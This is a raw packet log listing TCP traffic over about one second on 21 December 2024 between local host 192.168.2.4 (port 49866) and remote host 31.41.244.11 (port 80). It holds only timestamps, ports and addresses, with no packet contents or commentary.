Dec 21, 2024 18:16:48.685863972 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.686919928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.686975956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.687020063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.687067986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.687930107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.687983036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.687983990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.688070059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.688981056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.689069986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.689095974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.689148903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.690165043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.690218925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.690342903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.690429926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.691251040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.691344976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.691366911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.691478014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.692320108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.692375898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.692383051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.692425966 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.693444014 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.693505049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.693586111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.693720102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.694536924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.694593906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.694602966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.694664001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.695712090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.695818901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.695827007 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.695874929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.696825027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.696923018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.696959019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.696974039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.698262930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.698321104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.698339939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.698436975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.699153900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.699208021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.699218035 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.699259043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.700182915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.700237036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.700314045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.700365067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.701476097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.701522112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.701531887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.701643944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.702424049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.702490091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.702579975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.702658892 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.703474998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.703526974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.703574896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.703619957 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.704607964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.704643965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.704657078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.704701900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.705737114 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.705823898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.705833912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.705873013 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.706860065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.706896067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.706909895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.706939936 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.707958937 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.707995892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.708010912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.708040953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.709064007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.709147930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.709165096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.709346056 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.710243940 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.710299015 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.710299969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.710345030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.711412907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.711448908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.711474895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.711493015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.846340895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.846415043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.846524000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.846575022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.846646070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.846700907 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.846704006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.846750021 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.847991943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.848082066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.848125935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.849211931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.849267006 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.849286079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.849365950 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.850030899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.850090981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.850152016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.850215912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.851151943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.851255894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.851306915 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.852262974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.852319956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.852380991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.852452993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.853384972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.853440046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.853450060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.853487968 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.854511976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.854569912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.854649067 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.854701996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.855611086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.855668068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.855717897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.855837107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.856699944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.856755018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.856806993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.856849909 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.857857943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.857912064 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.857990980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.858097076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.860817909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.860872984 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.861489058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.861524105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.861557961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.861560106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.861597061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.861598015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.861620903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.861632109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.861649036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.861682892 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.862463951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.862519979 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.862632036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.862740040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.863652945 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.863718033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.863780975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.863830090 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.864559889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.864612103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.864857912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.864907980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.865865946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.865901947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.865926027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.865955114 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.866806984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.866877079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.866926908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.866978884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.867955923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.868035078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.868098021 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.868154049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.869482040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.869518042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.869546890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.869577885 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.870409966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.870445967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.870455980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.870491028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.871409893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.871479034 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.871535063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.871606112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.872644901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.872679949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.872739077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.873423100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.873476982 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.873694897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.873742104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.874605894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.874660969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.874717951 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.874762058 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.875859022 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.875894070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.875922918 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.875941038 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.876808882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.876857996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.877016068 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.877077103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.877978086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.878012896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.878076077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.878076077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.878999949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.879061937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.879259109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.879328966 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.880120039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.880170107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.880280018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.880400896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.881217003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.881263018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.882178068 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.882230043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.883095980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.883131027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.883182049 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.883866072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.883903027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.883910894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.883955956 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.884646893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.884706020 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.884763956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.884895086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.885795116 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.885853052 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.885920048 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.885972977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.886851072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.886898041 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.887109995 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.887159109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.887938023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.888012886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.888035059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.888091087 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.889070988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.889107943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.889120102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.889182091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.890147924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.890185118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.890237093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.891241074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.891302109 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.891473055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.891524076 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.892405033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.892503977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.892574072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.893481016 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.893559933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.893677950 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.893733978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.894583941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.894633055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.894679070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.895641088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.895693064 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.895803928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.895821095 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.895860910 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.898572922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.898627043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.899486065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.899538994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.899576902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.899585009 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.899614096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.899653912 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.899662018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.899696112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.900316954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.900367022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.900444984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.900624990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.901563883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.901674032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.901726961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.902609110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.902646065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.902695894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.903676987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.903733015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.903817892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.903862953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:48.904737949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:48.904844999 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.038501978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.038556099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.038680077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.038680077 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.039093018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.039141893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.039191008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.040159941 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.040229082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.040252924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.040302992 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.041050911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.041160107 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.041198015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.041213036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.042193890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.042246103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.042249918 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.042294979 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.043272972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.043332100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.043404102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.043451071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.044523001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.044567108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.044703960 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.044835091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.045664072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.045720100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.045804024 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.045933962 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.046684027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.046799898 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.046847105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.046861887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.047744989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.047796011 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.047934055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.047981024 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.048887968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.048945904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.049000978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.049222946 CET	49866	80	192.168.2.4	31.41.244.11
